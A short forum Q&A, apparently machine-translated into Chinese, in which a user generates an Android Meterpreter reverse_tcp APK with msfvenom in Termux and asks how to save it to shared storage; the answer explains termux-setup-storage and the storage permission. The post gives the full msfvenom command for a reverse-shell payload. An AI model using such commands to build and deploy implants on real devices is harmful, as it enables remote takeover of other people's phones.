Msfvenom payload 卡在 termux 目录中

Msfvenom payload stuck in termux directory

快速网络安全问题

我在 termux 中使用 metasploit 并解决了除以下问题之外的大多数问题:

msfvenom -p android/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=000 R> /$HOME/payload.apk

以上代码成功编译了reverse_tcp payload,但是它被保存到termux 的$HOME 目录中,在那里它不可用。

我尝试做 R> /sdcard/payload.apk 但找不到目录。

更改为:R> /$SDcard/payload.apk 抛出以下错误 "Read-only file system" 这让我相信它要么是存储许可问题,要么是 OS 限制,因为我正在使用 Android 5.1.1

有谁知道我如何让 msfvenom 将有效负载保存到内部存储或 sdcard 以供使用?

提前致谢:)

预安装在发行版中的 termux-tools 软件包有一个命令 termux-setup-storage 允许 Termux 访问您的内部设备存储。

您还可以转到“应用信息”>“权限并启用存储”,以允许 Termux 访问您的 phone 的内部存储,这将不再给您 "Read Only filesystem" 错误。

P.S。 termux-setup-storage 还会在 $HOME 中创建一个新目录,其中包含指向内部存储中重要位置的符号链接,例如下载、图片、音乐等。

即简单来说,

  1. 运行 termux-setup-storage.
  2. 允许存储权限。
  3. 你可以开始了。